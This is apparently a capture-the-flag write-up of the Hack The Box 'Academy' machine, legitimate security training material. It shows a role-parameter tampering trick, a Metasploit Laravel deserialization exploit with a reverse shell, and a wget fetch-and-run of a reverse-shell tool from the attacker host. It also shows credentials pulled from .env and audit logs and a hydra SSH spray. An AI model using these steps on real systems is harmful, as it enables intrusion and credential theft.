mirror of
http://git.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/nihilist/hacking-blogposts.git
synced 2025-05-16 12:27:02 +00:00
714 lines
28 KiB
Markdown
714 lines
28 KiB
Markdown
---
|
||
search:
|
||
exclude: true
|
||
---
|
||
# Academy Writeup
|
||
|
||

|
||
|
||
## Introduction :
|
||
|
||
Academy is an easy Linux box released back in November 2020.
|
||
|
||
## **Part 1 : Initial Enumeration**
|
||
|
||
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/47 ] [~/HTB/Academy]
|
||
→ nmap -vvv -p- 10.10.10.215 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered
|
||
Discovered open port 80/tcp on 10.10.10.215
|
||
Discovered open port 22/tcp on 10.10.10.215
|
||
Discovered open port 33060/tcp on 10.10.10.215
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy]
|
||
→ nmap -sCV -p80,22,33060 10.10.10.215
|
||
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-03 16:45 CEST
|
||
Nmap scan report for 10.10.10.215
|
||
Host is up (0.035s latency).
|
||
|
||
PORT STATE SERVICE VERSION
|
||
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
|
||
| ssh-hostkey:
|
||
| 3072 c0:90:a3:d8:35:25:6f:fa:33:06:cf:80:13:a0:a5:53 (RSA)
|
||
| 256 2a:d5:4b:d0:46:f0:ed:c9:3c:8d:f6:5d:ab:ae:77:96 (ECDSA)
|
||
|_ 256 e1:64:14:c3:cc:51:b2:3b:a6:28:a7:b1:ae:5f:45:35 (ED25519)
|
||
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|
||
|_http-server-header: Apache/2.4.41 (Ubuntu)
|
||
|_http-title: Did not follow redirect to http://academy.htb/
|
||
33060/tcp open mysqlx?
|
||
| fingerprint-strings:
|
||
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
|
||
| Invalid message"
|
||
|_ HY000
|
||
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
|
||
SF-Port33060-TCP:V=7.91%I=7%D=6/3%Time=60B8EB24%P=x86_64-pc-linux-gnu%r(NU
|
||
SF:LL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\x
|
||
SF:08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOpt
|
||
SF:ions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b\
|
||
SF:x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVersi
|
||
SF:onBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2B
|
||
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fIn
|
||
SF:valid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%
|
||
SF:r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\
|
||
SF:x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie,
|
||
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x0
|
||
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
|
||
SF:x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9,
|
||
SF:"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\x
|
||
SF:1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY00
|
||
SF:0")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,9
|
||
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x08
|
||
SF:\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x
|
||
SF:05HY000")%r(LDAPBindReq,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SIPOptions,
|
||
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,"\x05\0\0\0\x0b\x08\x0
|
||
SF:5\x1a\0")%r(TerminalServer,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NCP,9,"\
|
||
SF:x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\x0b\x08\x05\x1a
|
||
SF:\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000"
|
||
SF:)%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,"\x05\0\0\
|
||
SF:0\x0b\x08\x05\x1a\0")%r(oracle-tns,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(
|
||
SF:ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x08
|
||
SF:\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x
|
||
SF:05HY000")%r(giop,9,"\x05\0\0\0\x0b\x08\x05\x1a\0");
|
||
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
||
|
||
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||
Nmap done: 1 IP address (1 host up) scanned in 25.37 seconds
|
||
|
||
|
||
|
||
## **Part 2 : Getting User Access**
|
||
|
||
Our nmap scan picked up port 80 so let's investigate it:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy]
|
||
→ curl 10.10.10.215
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy]
|
||
→ curl 10.10.10.215 -v
|
||
* Trying 10.10.10.215:80...
|
||
* Connected to 10.10.10.215 (10.10.10.215) port 80 (#0)
|
||
> GET / HTTP/1.1
|
||
> Host: 10.10.10.215
|
||
> User-Agent: curl/7.74.0
|
||
> Accept: */*
|
||
>
|
||
* Mark bundle as not supporting multiuse
|
||
<****HTTP/1.1 302 Found <****Date: Thu, 03 Jun 2021 14:54:22 GMT <****Server: Apache/2.4.41 (Ubuntu) <****Location: http://academy.htb/ <****Content-Length: 0 <****Content-Type: text/html; charset=UTF-8 <***** Connection #0 to host 10.10.10.215 left intact
|
||
|
||
As we try to get there we see that we are being redirected to the **academy.htb** domain name just like our nmap scan pointed out, so let's add it to our hosts file:
|
||
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy]
|
||
→ sudo -i
|
||
[sudo] password for nothing:
|
||
┌──(root💀nowhere)-[~]
|
||
└─# echo '10.10.10.215 academy.htb' >> /etc/hosts
|
||
|
||
┌──(root💀nowhere)-[~]
|
||
└─# exit
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy]
|
||
→ ping academy.htb
|
||
PING academy.htb (10.10.10.215) 56(84) bytes of data.
|
||
64 bytes from academy.htb (10.10.10.215): icmp_seq=1 ttl=63 time=34.5 ms
|
||
64 bytes from academy.htb (10.10.10.215): icmp_seq=2 ttl=63 time=40.5 ms
|
||
64 bytes from academy.htb (10.10.10.215): icmp_seq=3 ttl=63 time=38.1 ms
|
||
|
||
|
||
|
||
Now let's check out the website:
|
||
|
||
   
|
||
|
||
Now here we see that we are on a php website, and we could create and login into a test account. Once logged in, the webpage doesn't have anything to exploit, so let's search for other directories with gobuster:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy]
|
||
→ gobuster dir -u http://academy.htb/ -t 50 -w /usr/share/seclists/Discovery/Web-Content/common.txt
|
||
===============================================================
|
||
Gobuster v3.1.0
|
||
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
|
||
===============================================================
|
||
[+] Url: http://academy.htb/
|
||
[+] Method: GET
|
||
[+] Threads: 50
|
||
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
|
||
[+] Negative Status codes: 404
|
||
[+] User Agent: gobuster/3.1.0
|
||
[+] Timeout: 10s
|
||
===============================================================
|
||
2021/06/03 16:55:19 Starting gobuster in directory enumeration mode
|
||
===============================================================
|
||
/.htpasswd (Status: 403) [Size: 276]
|
||
/admin.php (Status: 200) [Size: 2633]
|
||
/images (Status: 301) [Size: 311] [--> http://academy.htb/images/]
|
||
/index.php (Status: 200) [Size: 2117]
|
||
/.hta (Status: 403) [Size: 276]
|
||
/.htaccess (Status: 403) [Size: 276]
|
||
/server-status (Status: 403) [Size: 276]
|
||
|
||
===============================================================
|
||
2021/06/03 16:55:29 Finished
|
||
===============================================================
|
||
|
||
|
||
|
||
` 
|
||
|
||
Now when we go to the admin.php page that our gobuster scan picked up, we see that we need to login to access it, the trick here was to inspect the **register.php** POST request when we were registering an account, and we can do so using burpsuite:
|
||
|
||

|
||
|
||
We get the following request:
|
||
|
||
|
||
POST /register.php HTTP/1.1
|
||
Host: academy.htb
|
||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
|
||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||
Accept-Language: en-US,en;q=0.5
|
||
Accept-Encoding: gzip, deflate
|
||
Content-Type: application/x-www-form-urlencoded
|
||
Content-Length: 44
|
||
Origin: http://academy.htb
|
||
Connection: close
|
||
Referer: http://academy.htb/register.php
|
||
Cookie: PHPSESSID=mvopk0hecu88dl9kugslv1ihdp
|
||
Upgrade-Insecure-Requests: 1
|
||
|
||
uid=test&password;=test&confirm;=test**&roleid; =0**
|
||
|
||
|
||
|
||
Something we didn't know earlier was the **roleid** post parameter set to 0, so we simply change it to **1** and then forward the intercepted request, and then we login to the **admin.php** page:
|
||
|
||

|
||
|
||
And upon logging in, we get redirected to **admin-page.php** and we get the following:
|
||
|
||

|
||
|
||
Here we're getting hinted towards a subdomain **dev-staging-01.academy.htb** , so let's add it to our hosts file:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy]
|
||
→ sudo -i
|
||
[sudo] password for nothing:
|
||
┌──(root💀nowhere)-[~]
|
||
└─# echo '10.10.10.215 dev-staging-01.academy.htb' >> /etc/hosts
|
||
|
||
┌──(root💀nowhere)-[~]
|
||
└─# exit
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy]
|
||
→ ping dev-staging-01.academy.htb
|
||
PING dev-staging-01.academy.htb (10.10.10.215) 56(84) bytes of data.
|
||
64 bytes from academy.htb (10.10.10.215): icmp_seq=1 ttl=63 time=36.5 ms
|
||
64 bytes from academy.htb (10.10.10.215): icmp_seq=2 ttl=63 time=39.9 ms
|
||
64 bytes from academy.htb (10.10.10.215): icmp_seq=3 ttl=63 time=37.9 ms
|
||
|
||
|
||
|
||
Now when we go there we get the following:
|
||
|
||

|
||
|
||
Now if you read carefully, you see that this is a php laravel framework instance:
|
||
|
||

|
||
|
||
So let's look for exploits to user on that service:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy]
|
||
→ searchsploit laravel
|
||
-------------------------------------------------------- ---------------------------------
|
||
Exploit Title | Path
|
||
-------------------------------------------------------- ---------------------------------
|
||
Laravel - 'Hash::make()' Password Truncation Security | multiple/remote/39318.txt
|
||
Laravel 8.4.2 debug mode - Remote code execution | php/webapps/49424.py
|
||
Laravel Administrator 4 - Unrestricted File Upload (Aut | php/webapps/49112.py
|
||
Laravel Log Viewer <****0.13.0 - Local File Download | php/webapps/44343.py
|
||
Laravel Nova 3.7.0 - 'range' DoS | php/webapps/49198.txt**PHP Laravel Framework 5.5.40 / 5.6.x <__5.6.30 - token U | linux/remote/47129.rb**
|
||
|
||
UniSharp Laravel File Manager 2.0.0 - Arbitrary File Re | php/webapps/48166.txt
|
||
UniSharp Laravel File Manager 2.0.0-alpha7 - Arbitrary | php/webapps/46389.py
|
||
-------------------------------------------------------- ---------------------------------
|
||
Shellcodes: No Results
|
||
|
||
|
||
we're going to use the ruby exploit that's for metasploit:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy]
|
||
→ msfconsole
|
||
|
||
|
||
_---------.
|
||
.' ####### ;."
|
||
.---,. ;@ @@`; .---,..
|
||
." @@@@@'.,'@@ @@@@@',.'@@@@ ".
|
||
'-.@@@@@@@@@@@@@ @@@@@@@@@@@@@ @;
|
||
`.@@@@@@@@@@@@ @@@@@@@@@@@@@@ .'
|
||
"--'.@@@ -.@ @ ,'- .'--"
|
||
".@' ; @ @ `. ;'
|
||
|@@@@ @@@ @ .
|
||
' @@@ @@ @@ ,
|
||
`.@@@@ @@ .
|
||
',@@ @ ; _____________
|
||
( 3 C ) /|___ / Metasploit! \
|
||
;@'. __*__,." \|--- \_____________/
|
||
'(.,..../
|
||
|
||
|
||
=[ metasploit v6.0.46-dev ]
|
||
+ -- --=[ 2135 exploits - 1139 auxiliary - 365 post ]
|
||
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
|
||
+ -- --=[ 8 evasion ]
|
||
|
||
Metasploit tip: To save all commands executed since start up
|
||
to a file, use the makerc command
|
||
|
||
msf6 > search laravel
|
||
|
||
Matching Modules
|
||
================
|
||
|
||
# Name Disclosure Date Rank Check Description
|
||
- ---- --------------- ---- ----- -----------
|
||
0 exploit/unix/http/laravel_token_unserialize_exec 2018-08-07 excellent Yes PHP Laravel Framework token Unserialize Remote Command Execution
|
||
|
||
|
||
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/http/laravel_token_unserialize_exec
|
||
|
||
msf6 > use 0
|
||
[*] Using configured payload cmd/unix/reverse_perl
|
||
msf6 exploit(unix/http/laravel_token_unserialize_exec) > show options
|
||
|
||
Module options (exploit/unix/http/laravel_token_unserialize_exec):
|
||
|
||
Name Current Setting Required Description
|
||
---- --------------- -------- -----------
|
||
APP_KEY no The base64 encoded APP_KEY string from the .env file
|
||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<****path>'
|
||
RPORT 80 yes The target port (TCP)
|
||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||
TARGETURI / yes Path to target webapp
|
||
VHOST no HTTP server virtual host
|
||
|
||
|
||
Payload options (cmd/unix/reverse_perl):
|
||
|
||
Name Current Setting Required Description
|
||
---- --------------- -------- -----------
|
||
LHOST yes The listen address (an interface may be specified)
|
||
LPORT 4444 yes The listen port
|
||
|
||
|
||
Exploit target:
|
||
|
||
Id Name
|
||
-- ----
|
||
0 Automatic
|
||
|
||
So first let's get the APP key, which we should get from the .env file, but we don't have access to the server yet, so we just grab it from the debug page:
|
||
|
||

|
||
|
||
Then we fill the rest of the options we need:
|
||
|
||
|
||
msf6 exploit(unix/http/laravel_token_unserialize_exec) > set APP_KEY dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
|
||
APP_KEY => dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
|
||
|
||
msf6 exploit(unix/http/laravel_token_unserialize_exec) > set RPORT 80
|
||
RPORT => 80
|
||
|
||
msf6 exploit(unix/http/laravel_token_unserialize_exec) > set RHOSTS 10.10.10.215
|
||
RHOSTS => 10.10.10.215
|
||
|
||
msf6 exploit(unix/http/laravel_token_unserialize_exec) > set VHOST dev-staging-01.academy.htb
|
||
VHOST => dev-staging-01.academy.htb
|
||
|
||
msf6 exploit(unix/http/laravel_token_unserialize_exec) > set LHOST tun0
|
||
LHOST => 10.10.14.13
|
||
|
||
msf6 exploit(unix/http/laravel_token_unserialize_exec) > exploit
|
||
|
||
|
||
And when we launch the exploit:
|
||
|
||
|
||
|
||
[*] Started reverse TCP handler on 10.10.14.13:4444
|
||
[*] Command shell session 1 opened (10.10.14.13:4444 -> 10.10.10.215:46024) at 2021-06-04 08:52:16 +0200
|
||
|
||
[*] Command shell session 2 opened (10.10.14.13:4444 -> 10.10.10.215:46026) at 2021-06-04 08:52:16 +0200
|
||
[*] Command shell session 3 opened (10.10.14.13:4444 -> 10.10.10.215:46028) at 2021-06-04 08:52:16 +0200
|
||
[*] Command shell session 4 opened (10.10.14.13:4444 -> 10.10.10.215:46030) at 2021-06-04 08:52:17 +0200
|
||
id
|
||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||
|
||
|
||
We get remote code execution as www-data!
|
||
|
||
|
||
|
||
cat /etc/passwd | grep bash
|
||
root:x:0:0:root:/root:/bin/bash
|
||
egre55:x:1000:1000:egre55:/home/egre55:/bin/bash
|
||
ls -lash /home
|
||
total 32K
|
||
4.0K drwxr-xr-x 8 root root 4.0K Aug 10 2020 .
|
||
4.0K drwxr-xr-x 20 root root 4.0K Feb 10 13:12 ..
|
||
4.0K drwxr-xr-x 2 21y4d 21y4d 4.0K Aug 10 2020 21y4d
|
||
4.0K drwxr-xr-x 2 ch4p ch4p 4.0K Aug 10 2020 ch4p
|
||
4.0K drwxr-xr-x 4 cry0l1t3 cry0l1t3 4.0K Aug 12 2020 cry0l1t3
|
||
4.0K drwxr-xr-x 3 egre55 egre55 4.0K Aug 10 2020 egre55
|
||
4.0K drwxr-xr-x 2 g0blin g0blin 4.0K Aug 10 2020 g0blin
|
||
4.0K drwxr-xr-x 5 mrb3n mrb3n 4.0K Aug 12 2020 mrb3n
|
||
|
||
|
||
|
||
Now here we get alot of different users on this box. However for now let's just get a proper reverse shell:
|
||
|
||
|
||
which python python3 curl wget nc
|
||
/usr/bin/python3
|
||
/usr/bin/curl
|
||
/usr/bin/wget
|
||
/usr/bin/nc
|
||
|
||
|
||
|
||
Let's upload xc via wget, and then execute it to get a reverse shell:
|
||
|
||
|
||
[term1]
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/90 ] [~/HTB/Academy]
|
||
→ cp /home/nothing/HTB/Servmon/xc/xc .
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/90 ] [~/HTB/Academy]
|
||
→ python3 -m http.server 9090
|
||
|
||
|
||
[term2]
|
||
|
||
wget http://10.10.14.13:9090/xc -O /tmp/xc
|
||
|
||
ls -lash /tmp/xc
|
||
0 -rw-r--r-- 1 www-data www-data 0 Jun 4 07:23 /tmp/xc
|
||
|
||
chmod +x /tmp/xc
|
||
|
||
/tmp/xc 10.10.14.13 9002
|
||
|
||
|
||
[term3]
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/90 ] [~/HTB/Academy]
|
||
→ ./xc -l -p 9002
|
||
|
||
__ _____
|
||
\ \/ / __|
|
||
> <****(__
|
||
/_/\_\___| by @xct_de
|
||
build: QUnVVFdLYEkibcKx
|
||
|
||
2021/06/04 09:17:49 Listening on :9002
|
||
2021/06/04 09:17:49 Waiting for connections...
|
||
2021/06/04 09:17:59 Connection from 10.10.10.215:59984
|
||
2021/06/04 09:17:59 Stream established
|
||
|
||
[*] Auto-Plugins:
|
||
[xc: /var/www/html/htb-academy-dev-01/public]: !shell
|
||
bash: cannot set terminal process group (1039): Inappropriate ioctl for device
|
||
bash: no job control in this shell
|
||
www-data@academy:/var/www/html/htb-academy-dev-01/public$ id
|
||
id
|
||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||
|
||
Now let's upgrade it to a fully interactive shell:
|
||
|
||
|
||
www-data@academy:/var/www/html/htb-academy-dev-01/public$ python3 -c 'import pty; pty.spawn("/bin/bash")'
|
||
www-data@academy:/var/www/html/htb-academy-dev-01/public$ ^Z
|
||
[1] + 3847836 suspended ./xc -l -p 9002
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/90 ] [~/HTB/Academy]
|
||
→ stty raw -echo ; fg
|
||
[1] + 3847836 continued ./xc -l -p 9002
|
||
$ export TERM=screen-256color
|
||
$ export SHELL=bash
|
||
$stty rows 40 columns 125
|
||
www-data@academy:/var/www/html/htb-academy-dev-01/public$ reset
|
||
|
||
|
||
Now that we have our fully interactive reverse TTY shell, let's enumerate the box further:
|
||
|
||
|
||
www-data@academy:/var/www/html/htb-academy-dev-01/public$ cd ..
|
||
www-data@academy:/var/www/html/htb-academy-dev-01$ cd ..
|
||
www-data@academy:/var/www/html$ ls
|
||
academy htb-academy-dev-01 index.php
|
||
www-data@academy:/var/www/html$ cd academy
|
||
www-data@academy:/var/www/html/academy$ ls
|
||
app bootstrap composer.lock database phpunit.xml readme.md routes storage vendor
|
||
artisan composer.json config package.json public resources server.php tests webpack.mix.js
|
||
www-data@academy:/var/www/html/academy$ ls -a
|
||
. .env.example app composer.json database public routes tests
|
||
.. .gitattributes artisan composer.lock package.json readme.md server.php vendor
|
||
.env .gitignore bootstrap config phpunit.xml resources storage webpack.mix.js
|
||
www-data@academy:/var/www/html/academy$ cat .env
|
||
APP_NAME=Laravel
|
||
APP_ENV=local
|
||
APP_KEY=base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
|
||
APP_DEBUG=false
|
||
APP_URL=http://localhost
|
||
|
||
LOG_CHANNEL=stack
|
||
|
||
DB_CONNECTION=mysql
|
||
DB_HOST=127.0.0.1
|
||
DB_PORT=3306
|
||
DB_DATABASE=academy
|
||
DB_USERNAME=dev
|
||
DB_PASSWORD=mySup3rP4s5w0rd!!
|
||
|
||
BROADCAST_DRIVER=log
|
||
CACHE_DRIVER=file
|
||
SESSION_DRIVER=file
|
||
SESSION_LIFETIME=120
|
||
QUEUE_DRIVER=sync
|
||
|
||
REDIS_HOST=127.0.0.1
|
||
REDIS_PASSWORD=null
|
||
REDIS_PORT=6379
|
||
|
||
MAIL_DRIVER=smtp
|
||
MAIL_HOST=smtp.mailtrap.io
|
||
MAIL_PORT=2525
|
||
MAIL_USERNAME=null
|
||
MAIL_PASSWORD=null
|
||
MAIL_ENCRYPTION=null
|
||
|
||
PUSHER_APP_ID=
|
||
PUSHER_APP_KEY=
|
||
PUSHER_APP_SECRET=
|
||
PUSHER_APP_CLUSTER=mt1
|
||
|
||
MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
|
||
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"
|
||
|
||
|
||
Going back up the filetree we get a password for an user:
|
||
|
||
|
||
www-data@academy:/var/www/html/academy$ ls -lash .env
|
||
4.0K -rw-r--r-- 1 www-data www-data 706 Aug 13 2020 .env
|
||
|
||
|
||
|
||
Although obviously this isn't www-data's password, this is probably one of the other users' passwords so let's try each one using hydra :
|
||
|
||
|
||
[term1]
|
||
|
||
www-data@academy:/var/www/html/academy$ ls -lash .env
|
||
4.0K -rw-r--r-- 1 www-data www-data 706 Aug 13 2020 .env
|
||
www-data@academy:/var/www/html/academy$ ls -lash /home
|
||
total 32K
|
||
4.0K drwxr-xr-x 8 root root 4.0K Aug 10 2020 .
|
||
4.0K drwxr-xr-x 20 root root 4.0K Feb 10 13:12 ..
|
||
4.0K drwxr-xr-x 2 21y4d 21y4d 4.0K Aug 10 2020 21y4d
|
||
4.0K drwxr-xr-x 2 ch4p ch4p 4.0K Aug 10 2020 ch4p
|
||
4.0K drwxr-xr-x 4 cry0l1t3 cry0l1t3 4.0K Aug 12 2020 cry0l1t3
|
||
4.0K drwxr-xr-x 3 egre55 egre55 4.0K Aug 10 2020 egre55
|
||
4.0K drwxr-xr-x 2 g0blin g0blin 4.0K Aug 10 2020 g0blin
|
||
4.0K drwxr-xr-x 5 mrb3n mrb3n 4.0K Aug 12 2020 mrb3n
|
||
|
||
|
||
[term2]
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy]
|
||
→ cat users.txt
|
||
21y4d
|
||
ch4p
|
||
cry0l1t3
|
||
egre55
|
||
g0blin
|
||
mrb3n
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy]
|
||
→ cat password.txt
|
||
mySup3rP4s5w0rd!!
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy]
|
||
→ hydra -L users.txt -P password.txt ssh://10.10.10.215
|
||
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
|
||
|
||
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-04 09:30:00
|
||
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
|
||
[DATA] max 6 tasks per 1 server, overall 6 tasks, 6 login tries (l:6/p:1), ~1 try per task
|
||
[DATA] attacking ssh://10.10.10.215:22/
|
||
[22][ssh] host: 10.10.10.215 login: cry0l1t3 password: mySup3rP4s5w0rd!!
|
||
1 of 1 target successfully completed, 1 valid password found
|
||
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-06-04 09:30:04
|
||
|
||
|
||
|
||
And we found that it was the cry0l1t3 user's password! So let's login via SSH as this user:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/51 ] [~/HTB/Academy]
|
||
→ ssh cry0l1t3@10.10.10.215
|
||
The authenticity of host '10.10.10.215 (10.10.10.215)' can't be established.
|
||
ECDSA key fingerprint is SHA256:4v7BvR4VfuEwrmXljKvXmF+JjLCgP/46G78oNEHzt2c.
|
||
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
|
||
Warning: Permanently added '10.10.10.215' (ECDSA) to the list of known hosts.
|
||
cry0l1t3@10.10.10.215's password:
|
||
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-52-generic x86_64)
|
||
|
||
* Documentation: https://help.ubuntu.com
|
||
* Management: https://landscape.canonical.com
|
||
* Support: https://ubuntu.com/advantage
|
||
|
||
System information as of Fri 04 Jun 2021 07:38:32 AM UTC
|
||
|
||
System load: 0.0
|
||
Usage of /: 38.3% of 13.72GB
|
||
Memory usage: 17%
|
||
Swap usage: 0%
|
||
Processes: 229
|
||
Users logged in: 0
|
||
IPv4 address for ens160: 10.10.10.215
|
||
IPv6 address for ens160: dead:beef::250:56ff:feb9:3bbc
|
||
|
||
|
||
89 updates can be installed immediately.
|
||
42 of these updates are security updates.
|
||
To see these additional updates run: apt list --upgradable
|
||
|
||
|
||
The list of available updates is more than a week old.
|
||
To check for new updates run: sudo apt update
|
||
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
|
||
|
||
|
||
Last login: Wed Aug 12 21:58:45 2020 from 10.10.14.2
|
||
$ id
|
||
uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm)
|
||
$ ls
|
||
user.txt
|
||
$ cat user.txt
|
||
faXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
|
||
|
||
|
||
And that's it! We managed to get the user flag.
|
||
|
||
## **Part 3 : Getting Root Access**
|
||
|
||
Now in order to privesc to the root user, let's run linpeas.sh on the box to see what are the possible privilege escalation paths:
|
||
|
||
|
||
|
||
[term1]
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/89 ] [~/HTB/Academy]
|
||
→ cp /home/nothing/Tools/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh .
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/89 ] [~/HTB/Academy]
|
||
→ python3 -m http.server 9090
|
||
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
|
||
|
||
|
||
[term2]
|
||
|
||
$ bash
|
||
cry0l1t3@academy:~$ wget http://10.10.14.13:9090/linpeas.sh -O /tmp/peas.sh
|
||
--2021-06-04 07:40:46-- http://10.10.14.13:9090/linpeas.sh
|
||
Connecting to 10.10.14.13:9090... connected.
|
||
HTTP request sent, awaiting response... 200 OK
|
||
Length: 341863 (334K) [text/x-sh]
|
||
Saving to: ‘/tmp/peas.sh’
|
||
|
||
/tmp/peas.sh 100%[====================================================>] 333.85K 689KB/s in 0.5s
|
||
|
||
2021-06-04 07:40:47 (689 KB/s) - ‘/tmp/peas.sh’ saved [341863/341863]
|
||
|
||
cry0l1t3@academy:~$ chmod +x /tmp/peas.sh
|
||
|
||
cry0l1t3@academy:~$ /tmp/peas.sh
|
||
|
||
|
||
|
||
` 
|
||
|
||
let linpeas.sh run and then as you scroll through the output you will stumble upon the **mrb3n** user's password from the TTY audit logs:
|
||
|
||

|
||
|
||
This is possible because we our user is in the adm group:
|
||
|
||
|
||
cry0l1t3@academy:~$ id
|
||
uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),**4(adm)**
|
||
|
||
|
||
|
||
So let's privesc to the **mrb3n** user using his password **mrb3n_Ac@d3my!**
|
||
|
||
|
||
cry0l1t3@academy:~$ su mrb3n
|
||
Password:
|
||
$ bash
|
||
|
||
